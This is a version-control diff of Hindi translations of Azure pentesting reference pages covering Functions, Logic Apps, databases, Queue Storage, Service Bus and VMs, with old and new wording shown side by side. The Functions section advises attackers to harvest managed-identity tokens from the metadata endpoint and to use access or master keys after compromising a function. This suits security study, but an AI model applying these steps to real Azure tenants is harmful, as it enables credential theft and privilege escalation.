एक **Windows** फ़ंक्शन में NodeJS का उपयोग करते हुए कोड **`C:\home\site\wwwroot\HttpTrigger1\index.js`** में स्थित था, उपयोगकर्ता नाम **`mawsFnPlaceholder8_f_v4_node_20_x86`** था और यह **groups** का हिस्सा था: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`
### **Managed Identities & Metadata**
जैसे कि [**VMs**](vms/index.html) में, फ़ंक्शंस के पास **Managed Identities** के 2 प्रकार हो सकते हैं: सिस्टम असाइन और यूजर असाइन
जैसे कि [**VMs**](vms/index.html) में, Functions के पास **Managed Identities** के 2 प्रकार हो सकते हैं: System assigned और User assigned
**सिस्टम असाइन** वाला एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह असाइन किया गया है, जबकि **यूजर असाइन** प्रबंधित पहचानें ऐसी प्रबंधित पहचान हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**
**system assigned** एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह सौंपा गया है, जबकि **user assigned** प्रबंधित पहचानें वे प्रबंधित पहचान हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**
> [!NOTE]
> जैसे कि [**VMs**](vms/index.html) में, फ़ंक्शंस के पास **1 सिस्टम असाइन** प्रबंधित पहचान और **कई यूजर असाइन** प्रबंधित पहचान हो सकत हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक फ़ंक्शन से कई प्रबंधित पहचान को बढ़ा सकते हैं।
> जैसे कि [**VMs**](vms/index.html) में, Functions के पास **1 system assigned** प्रबंधित पहचान और **कई user assigned** हो सकत हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक Function से कई प्रबंधित पहचान को बढ़ा सकते हैं।
>
> यदि कोई सिस्टम प्रबंधित पहचान का उपयोग नहीं किया गया है लेकिन एक या अधिक यूजर प्रबंधित पहचानें फ़ंक्शन से जुड़ी हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे।
> यदि कोई system managed identity का उपयोग नहीं किया गया है लेकिन एक या अधिक user managed identities एक फ़ंक्शन से जुड़ी हुई हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे।
आप [**PEASS स्क्रिप्ट्स**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **हाथ से** प्राप्त कर सकते हैं जैसा कि समझाया गया है:
आप [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **मैन्युअल रूप से** प्राप्त कर सकते हैं जैसा कि समझाया गया है:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी प्रबंधित पहचान** की जांच करने का एक तरीका है क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक** का उपयोग करेगा (अधिक जानकारी के लिए पिछले लिंक की जांच करें)।
ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी Managed Identities की जांच कैसे करें** क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक का उपयोग करेगा** (अधिक जानकारी के लिए पिछले लिंक की जांच करें)।
## Access Keys
> [!NOTE]
> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शंस को सक्रिय करने के लिए एक्सेस देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो फ़ंक्शन को सक्रिय करने के लिए **एक एक्सेस कुंजी** का उपयोग करना आवश्यक हो सकता है।
> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्श को सक्रिय करने के लिए पहुंच देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो फ़ंक्शन को सक्रिय करने के लिए एक **access key** का उपयोग करना आवश्यक हो सकता है।
एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते हुए, यह संभव है कि फ़ंक्शन को सक्रिय करने के लिए आवश्यक **एक्सेस कुंजी प्राधिकरण स्तर** को निर्दिष्ट किया जाए। तीन विकल्प उपलब्ध हैं:
एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते हुए, यह संभव है कि **फ़ंक्शन को सक्रिय करने के लिए आवश्यक access key authorization level** को निर्दिष्ट किया जाए। तीन विकल्प उपलब्ध हैं:
- **ANONYMOUS**: **हर कोई** URL के माध्यम से फ़ंक्शन तक पहुँच सकत है।
- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **फंक्शन, होस्ट या मास्टर कुंजी** का उपयोग कर रहे हैं।
- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **मास्टर कुंजी** है।
- **ANONYMOUS**: **सभी** फ़ंक्शन को URL द्वारा एक्सेस कर सकत है
- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **function, host या master key** का उपयोग कर रहे हैं।
- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **master key** है।
**कुंजी के प्रकार:**
**Type of keys:**
- **Function Keys:** फ़ंक्शन कुंजी या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकत हैं और इन्हें विशेष रूप से **एक फ़ंक्शन ऐप के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक़ी से पहुच मिलती है।
- **Host Keys:** होस्ट कुंजी, जो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित भी हो सकत हैं, **एक फ़ंक्शन ऐप के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक पहुच प्रदान करत हैं जिनका FUNCTION एक्सेस स्तर है**
- **Master Key:** मास्टर कुंजी (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN एक्सेस स्तर सहित) तक पहुच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।**
- **System Keys:** सिस्टम कुंजी **विशिष्ट एक्सटेंशन द्वारा प्रबंधित** होत हैं और आंतरिक घटकों द्वारा उपयोग किए जाने वाले वेबहुक एंडपॉइंट्स तक पहुच के लिए आवश्यक होत हैं। उदाहरणों में इवेंट ग्रिड ट्रिगर और ड्यूरेबल फ़ंक्शंस शामिल हैं, जो अपने संबंधित APIs के साथ सुरक्षित रूप से बातचीत करने के लिए सिस्टम कुंजी का उपयोग करते हैं।
- **Function Keys:** Function keys या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकत हैं और इन्हें विशेष रूप से **Function App के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक पहुच मिलती है।
- **Host Keys:** Host keys, जो भी डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकत हैं, **Function App के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक FUNCTION access level** के साथ पहुच प्रदान करत हैं।
- **Master Key:** मास्टर कुंजी (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN access level सहित) तक पहुच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।**
- **System Keys:** System keys **विशिष्ट एक्सटेंशन द्वारा प्रबंधित** होत हैं और आंतरिक घटकों द्वारा उपयोग किए जाने वाले वेबहुक एंडपॉइंट्स तक पहुच के लिए आवश्यक होत हैं। उदाहरणों में Event Grid ट्रिगर और Durable Functions शामिल हैं, जो अपने संबंधित APIs के साथ सुरक्षित रूप से बातचीत करने के लिए सिस्टम कुंजी का उपयोग करते हैं।
> [!TIP]
> कुंजी का उपयोग करके फ़ंक्शन API एंडपॉइंट तक पहुचने का उदाहरण:
> कुंजी का उपयोग करके फ़ंक्शन API एंडपॉइंट तक पहुचने का उदाहरण:
>
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
### Basic Authentication
जैसे कि ऐप सेवाओं में, फ़ंक्शंस भी **SCM** और **FTP** से कनेक्ट करने के लिए बुनियादी प्रमाणीकरण का समर्थन करते हैं ताकि कोड को **Azure द्वारा प्रदान किए गए URL में उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके तैनात किया जा सके। इसके बारे में अधिक जानकारी:
जैसे कि App Services में, Functions भी **SCM** और **FTP** से कनेक्ट करने के लिए बुनियादी प्रमाणीकरण का समर्थन करते हैं ताकि कोड को **Azure द्वारा प्रदान किए गए URL में उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके तैनात किया जा सके। इसके बारे में अधिक जानकारी:
{{#ref}}
az-app-services.md
@@ -104,7 +104,7 @@ az-app-services.md
### Github Based Deployments
जब एक फ़ंक्शन एक Github रिपॉजिटरी से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github वर्कफ़्लो बनाने** की अनुमति देता है ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक पायथन फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
जब एक फ़ंक्शन एक Github repo से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github Workflow बनाने की अनुमति देता है** ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक Python फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
<details>
@@ -195,7 +195,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
इसके अलावा, एक **Managed Identity** भी बनाई जाती है ताकि रिपॉजिटरी से Github Action इसके साथ Azure में लॉगिन कर सके। यह **Managed Identity** पर एक Federated credential उत्पन्न करके किया जाता है, जो **Issuer** `https://token.actions.githubusercontent.com` और **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` को अनुमति देता है।
> [!CAUTION]
> इसलिए, जो कोई भी उस रिपॉजिटरी को समझौता करेगा, वह फ़ंक्शन और ससे जुड़े Managed Identities को भी समझौता कर सकेगा।
> इसलिए, जो कोई भी उस रिपॉजिटरी को समझौता करेगा, वह फ़ंक्शन और ससे जुड़े Managed Identities को भी समझौता कर सकेगा।
### Container Based Deployments

View File

@@ -6,12 +6,12 @@
Azure Logic Apps एक क्लाउड-आधारित सेवा है जो Microsoft Azure द्वारा प्रदान की जाती है जो डेवलपर्स को **विभिन्न सेवाओं**, डेटा स्रोतों और अनुप्रयोगों को एकीकृत करने वाले वर्कफ़्लो बनाने और चलाने में सक्षम बनाती है। ये वर्कफ़्लो **व्यापार प्रक्रियाओं को स्वचालित** करने, कार्यों का समन्वय करने और विभिन्न प्लेटफार्मों के बीच डेटा एकीकरण करने के लिए डिज़ाइन किए गए हैं।
Logic Apps एक दृश्य डिज़ाइनर प्रदान करता है जिससे **पूर्व-निर्मित कनेक्टर्स की विस्तृत श्रृंखला** के साथ वर्कफ़्लो बनाना आसान हो जाता है, जिससे Office 365, Dynamics CRM, Salesforce और कई अन्य सेवाओं के साथ कनेक्ट और इंटरैक्ट करना संभव होता है। आप अपनी विशिष्ट आवश्यकताओं के लिए कस्टम कनेक्टर्स भी बना सकते हैं।
Logic Apps एक दृश्य डिज़ाइनर प्रदान करता है जिससे **पूर्व-निर्मित कनेक्टर्स की विस्तृत श्रृंखला** के साथ वर्कफ़्लो बनाना आसान हो जाता है, जिससे Office 365, Dynamics CRM, Salesforce, और कई अन्य सेवाओं के साथ कनेक्ट और इंटरैक्ट करना संभव होता है। आप अपनी विशिष्ट आवश्यकताओं के लिए कस्टम कनेक्टर्स भी बना सकते हैं।
### Examples
- **डेटा पाइपलाइनों का स्वचालन**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो विश्लेषण और व्यवसायिक बुद्धिमत्ता संचालन में मदद करता है।
- **Azure Functions के साथ एकीकरण**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित करने** में सक्षम है जो आवश्यकतानुसार स्केल करते हैं और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है।
- **Automating Data Pipelines**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो एनालिटिक्स और व्यवसायिक बुद्धिमत्ता संचालन में मदद करता है।
- **Integrating with Azure Functions**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित करने** के लिए काम कर सकता है जो आवश्यकतानुसार स्केल करते हैं और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है।
### Visualize a LogicAPP
@@ -37,9 +37,9 @@ There are several hosting options:
* **Consumption**
- **Multi-tenant**: साझा कंप्यूट संसाधनों को प्रदान करता है, सार्वजनिक क्लाउड में संचालित होता है, और प्रति संचालन मूल्य निर्धारण मॉडल का पालन करता है। यह हल्के और लागत-कुशल कार्यभार के लिए आदर्श है।
* **Standard**
- **Workflow Service Plan**: नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए शुल्क। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है।
- **App Service Environment V3** समर्पित कंप्यूट संसाधन पूर्ण अलगाव और स्केलेबिलिटी के साथ। यह नेटवर्किंग के लिए VNET के साथ भी एकीकृत होता है और वातावरण के भीतर App Service उदाहरणों के आधार पर मूल्य निर्धारण मॉडल का उपयोग करता है। यह उच्च अलगाव की आवश्यकता वाले उद्यम-स्तरीय अनुप्रयोगों के लिए आदर्श है।
- **Hybrid** स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया। यह स्थानीय नेटवर्क पहुंच के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes Event-Driven Autoscaling (KEDA) का उपयोग करता है।
- **Workflow Service Plan**: नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए चार्ज करता है। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है।
- **App Service Environment V3** समर्पित कंप्यूट संसाधन पूर्ण पृथक्करण और स्केलेबिलिटी के साथ। यह नेटवर्किंग के लिए VNET के साथ भी एकीकृत होता है और वातावरण के भीतर App Service उदाहरणों के आधार पर मूल्य निर्धारण मॉडल का उपयोग करता है। यह उच्च पृथक्करण की आवश्यकता वाले उद्यम-स्तरीय अनुप्रयोगों के लिए आदर्श है।
- **Hybrid** स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया है। यह स्थानीय नेटवर्क पहुंच के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes Event-Driven Autoscaling (KEDA) का उपयोग करता है।
### Enumeration
@@ -141,12 +141,12 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
**Integration Accounts**, Azure Logic Apps की एक विशेषता हैं। Integration Accounts का उपयोग उन्नत B2B क्षमताओं को सक्षम करके उद्यम-स्तरीय एकीकरण को सुविधाजनक बनाने के लिए किया जाता है, जैसे EDI, AS2, और XML स्कीमा प्रबंधन। Integration Accounts Azure में एक कंटेनर हैं जो Logic Apps के लिए उपयोग किए जाने वाले निम्नलिखित कलाकृतियों को संग्रहीत करते हैं:
* Schemas: अपने एकीकरण खाते में संदेशों को मान्य और संसाधित करने के लिए XML स्कीमा प्रबंधित करें।
* Maps: अपने एकीकरण कार्यप्रवाहों के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें।
* Assemblies: लॉजिक और डेटा प्रसंस्करण को सरल बनाने के लिए एकीकरण खाता असेंबली प्रबंधित करें।
* Maps: अपने एकीकरण कार्यप्रवाह के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें।
* Assemblies: लॉजिक और डेटा प्रोसेसिंग को सरल बनाने के लिए एकीकरण खाता असेंबली प्रबंधित करें।
* Certificates: संदेशों को एन्क्रिप्ट और साइन करने के लिए प्रमाणपत्रों को संभालें, सुरक्षित संचार सुनिश्चित करें।
* Partners: B2B लेनदेन के लिए व्यापार भागीदार की जानकारी प्रबंधित करें, निर्बाध एकीकरण सक्षम करें।
* Agreements: व्यापार भागीदारों के साथ डेटा का आदान-प्रदान करने के लिए नियम और सेटिंग्स कॉन्फ़िगर करें (जैसे, EDI, AS2)।
* Batch Configurations: संदेशों को कुशलतापूर्वक समूहित और संसाधित करने के लिए बैच प्रसंस्करण कॉन्फ़िगरेशन प्रबंधित करें।
* Batch Configurations: संदेशों को कुशलतापूर्वक समूहित और संसाधित करने के लिए बैच प्रोसेसिंग कॉन्फ़िगरेशन प्रबंधित करें।
* RosettaNet PIP: B2B संचार को मानकीकरण के लिए RosettaNet Partner Interface Processes (PIPs) कॉन्फ़िगर करें।
#### Enumeration
@@ -257,7 +257,7 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
../az-privilege-escalation/az-logic-apps-privesc.md
{{#endref}}
## पोस्ट एक्सप्लइटेशन
## पोस्ट एक्सप्लइटेशन
{{#ref}}
../az-post-exploitation/az-logic-apps-post-exploitation.md

View File

@@ -11,7 +11,7 @@ Azure Database for MySQL एक पूरी तरह से प्रबंध
- पूर्वानुमानित कार्यभार वाले एप्लिकेशनों के लिए आदर्श।
* **Flexible Server**:
- डेटाबेस प्रबंधन और कॉन्फ़िगरेशन पर अधिक नियंत्रण प्रदान करता है।
- उच्च उपलब्धता का समर्थन करता है (समान-क्षेत्र और क्षेत्र-निराधार)।
- उच्च उपलब्धता का समर्थन करता है (समान-क्षेत्र और क्षेत्र-प्रतिरोधी)।
- सुविधाओं में लचीला स्केलिंग, पैच प्रबंधन, और कार्यभार अनुकूलन शामिल हैं।
- लागत बचत के लिए स्टॉप/स्टार्ट कार्यक्षमता प्रदान करता है।
@@ -147,7 +147,7 @@ az mysql flexible-server deploy run \
## करने के लिए
* mysql flexible-server ad-admin के साथ पहुंच प्राप्त करने का एक तरीका देखें ताकि यह सत्यापित किया जा सके कि यह एक विशेषाधिकार वृद्धि विधि है
* mysql flexible-server ad-admin के साथ पहुँचने का एक तरीका देखें ताकि यह सत्यापित किया जा सके कि यह एक विशेषाधिकार वृद्धि विधि है

View File

@@ -122,7 +122,7 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
## पोस्ट एक्सप्लइटेशन
## पोस्ट एक्सप्लइटेशन
{{#ref}}
../az-post-exploitation/az-postgresql-post-exploitation.md

View File

@@ -4,7 +4,7 @@
## Basic Information
Azure Queue Storage एक सेवा है जो Microsoft's Azure cloud platform में संदेश कतार के लिए डिज़ाइन की गई है, **असिंक्रोनस संचार और डिकपलिंग को सक्षम बनाती है**। यह आपको अनलिमिटेड संख्या में संदेशों को स्टोर करने की अनुमति देत है, प्रत्येक का आकार 64 KB तक होता है, और इसमें कतारें बनाने और हटाने, संदेश जोड़ने, प्राप्त करने, अपडेट करने और हटाने, साथ ही मेटाडेटा और एक्सेस नीतियों का प्रबंधन करने जैसी ऑपरेशंस का समर्थन किया जाता है। जबकि यह आमतौर पर पहले आए पहले जाए (FIFO) तरीके से संदेशों को प्रोसेस करता है, सख्त FIFO की गारंटी नहीं है।
Azure Queue Storage एक सेवा है जो Microsoft के Azure क्लाउड प्लेटफ़ॉर्म में एप्लिकेशन घटकों के बीच संदेश कतारबद्ध करने के लिए डिज़ाइन की गई है, **असिंक्रोनस संचार और डिकपलिंग को सक्षम बनाना**। यह आपको अनलिमिटेड संख्या में संदेशों को स्टोर करने की अनुमति देत है, प्रत्येक का आकार 64 KB तक होता है, और इसमें कतारें बनाने और हटाने, संदेश जोड़ने, पुनः प्राप्त करने, अपडेट करने और हटाने, साथ ही मेटाडेटा और एक्सेस नीतियों का प्रबंधन करने जैसी ऑपरेशंस का समर्थन कता है। जबकि यह आमतौर पर पहले आए पहले जाए (FIFO) तरीके से संदेशों को प्रोसेस करता है, सख्त FIFO की गारंटी नहीं है।
### Enumeration

View File

@@ -4,15 +4,15 @@
## Service Bus
Azure Service Bus एक क्लाउड-आधारित **मैसेजिंग सेवा** है जिसे विभिन्न भागों के बीच विश्वसनीय **संचार सक्षम करने के लिए डिज़ाइन किया गया है या अलग-अलग अनुप्रयोगों** के बीच। यह एक सुरक्षित मध्यस्थ के रूप में कार्य करता है, यह सुनिश्चित करता है कि संदेश सुरक्षित रूप से वितरित किए जाएं, भले ही प्रेषक और प्राप्तकर्ता एक साथ काम न कर रहे हों। सिस्टम को अलग करके, यह अनुप्रयोगों को स्वतंत्र रूप से काम करने की अनुमति देता है जबकि डेटा या निर्देशों का आदान-प्रदान करते हुए। यह विशेष रूप से उन परिदृश्यों के लिए उपयोगी है जिनमें कई श्रमिकों के बीच लोड संतुलन, विश्वसनीय संदेश वितरण, या जटिल समन्वय की आवश्यकता होती है, जैसे कि कार्यों को क्रम में संसाधित करना या सुरक्षित रूप से पहुंच प्रबंधित करना।
Azure Service Bus एक क्लाउड-आधारित **मैसेजिंग सेवा** है जिसे विभिन्न भागों के बीच विश्वसनीय **संचार सक्षम करने के लिए डिज़ाइन किया गया है या अलग-अलग अनुप्रयोगों** के बीच। यह एक सुरक्षित मध्यस्थ के रूप में कार्य करता है, यह सुनिश्चित करता है कि संदेश सुरक्षित रूप से वितरित किए जाएं, भले ही प्रेषक और प्राप्तकर्ता एक साथ काम न कर रहे हों। सिस्टम को अलग करके, यह अनुप्रयोगों को स्वतंत्र रूप से काम करने की अनुमति देता है जबकि डेटा या निर्देशों का आदान-प्रदान करते हुए। यह विशेष रूप से उन परिदृश्यों के लिए उपयोगी है ज कई श्रमिकों के बीच लोड संतुलन, विश्वसनीय संदेश वितरण, या जटिल समन्वय की आवश्यकता होती है, जैसे कार्यों को क्रम में संसाधित करना या सुरक्षित रूप से पहुंच प्रबंधित करना।
### Key Concepts
1. **Queues:** इसका उद्देश्य संदेशों को तब तक संग्रहीत करना है जब तक प्राप्तकर्ता तैयार न हो।
- संदेश क्रमबद्ध, टाइमस्टैम्प किए गए और स्थायी रूप से संग्रहीत होते हैं।
- खींचने के मोड में वितरित किया जात है (आवश्यकता पर पुनर्प्राप्ति)
- पुल मोड (ऑन-डिमांड पुनर्प्राप्ति) में वितरित कि जात है
- बिंदु-से-बिंदु संचार का समर्थन करता है।
2. **Topics:** प्रसारण के लिए प्रकाशन-सदस्यता मैसेजिंग।
2. **Topics:** प्रसारण के लिए प्रकाशन-ग्राहक मैसेजिंग।
- कई स्वतंत्र सदस्यताएँ संदेशों की प्रतियाँ प्राप्त करती हैं।
- सदस्यताओं में वितरण को नियंत्रित करने या मेटाडेटा जोड़ने के लिए नियम/फिल्टर हो सकते हैं।
- कई-से-कई संचार का समर्थन करता है।
@@ -31,18 +31,18 @@ Azure Service Bus एक क्लाउड-आधारित **मैसेज
- **Filters & Actions**: संदेशों को फ़िल्टर या एनोटेट करने के लिए नियम लागू करता है।
- **Auto-Delete on Idle**: निष्क्रियता के बाद कतारों को हटा देता है (न्यूनतम: 5 मिनट)।
- **Duplicate Detection**: पुनः भेजने के दौरान डुप्लिकेट संदेशों को हटा देता है।
- **Batch Deletion**: समाप्त या अनावश्यक संदेशों को थोक में हटाता है।
- **Batch Deletion**: समाप्त या अनावश्यक संदेशों को बल्क में हटाता है।
### Authorization-Rule / SAS Policy
SAS नीतियाँ Azure Service Bus संस्थाओं के नामस्थान (सबसे महत्वपूर्ण) के लिए पहुँच अनुमतियों को परिभाषित करती हैं, कतारें और विषय। प्रत्येक नीति में निम्नलिखित घटक होते हैं:
- **Permissions**: पहुँच स्तर निर्दिष्ट करने के लिए चेकबॉक्स:
- प्रबंधित करें: संस्थाओं पर पूर्ण नियंत्रण प्रदान करता है, जिसमें कॉन्फ़िगरेशन और अनुमतियों का प्रबंधन शामिल है।
- भेजें: संस्थाओं को संदेश भेजने की अनुमति देता है।
- सुनें: संस्थाओं से संदेश प्राप्त करने की अनुमति देता है।
- प्रबंधित करें: इकाई पर पूर्ण नियंत्रण प्रदान करता है, जिसमें कॉन्फ़िगरेशन और अनुमतियों का प्रबंधन शामिल है।
- भेजें: इकाई को संदेश भेजने की अनुमति देता है।
- सुनें: इकाई से संदेश प्राप्त करने की अनुमति देता है।
- **Primary and Secondary Keys**: ये क्रिप्टोग्राफिक कुंजी हैं जो पहुँच को प्रमाणित करने के लिए सुरक्षित टोकन उत्पन्न करने के लिए उपयोग की जाती हैं।
- **Primary and Secondary Connection Strings**: पूर्व-निर्धारित कनेक्शन स्ट्रिंग्स जो उपयोग में आसानी के लिए एंडपॉइंट और कुंजी शामिल करती हैं।
- **Primary and Secondary Connection Strings**: पूर्व-निर्धारित कनेक्शन स्ट्रिंग्स जो एप्लिकेशन में उपयोग के लिए एंडपॉइंट और कुंजी शामिल करती हैं।
- **SAS Policy ARM ID**: प्रोग्रामेटिक पहचान के लिए नीति का Azure Resource Manager (ARM) पथ।
### NameSpace

View File

@@ -4,7 +4,7 @@
## Azure नेटवर्किंग बुनियादी जानकारी
Azure नेटवर्क में **विभिन्न संस्थाएँ और इसे कॉन्फ़िगर करने के तरीके शामिल हैं।** आप विभिन्न Azure नेटवर्क संस्थाओं के लिए संक्षिप्त **विवरण,** **उदाहरण** और **गणना** कमांड पा सकते हैं:
Azure नेटवर्क में **विभिन्न संस्थाएँ और इसे कॉन्फ़िगर करने के तरीके** शामिल हैं। आप विभिन्न Azure नेटवर्क संस्थाओं के लिए संक्षिप्त **विवरण,** **उदाहरण** और **गणना** कमांड पा सकते हैं:
{{#ref}}
az-azure-network.md
@@ -12,7 +12,7 @@ az-azure-network.md
## VMs बुनियादी जानकारी
Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके।
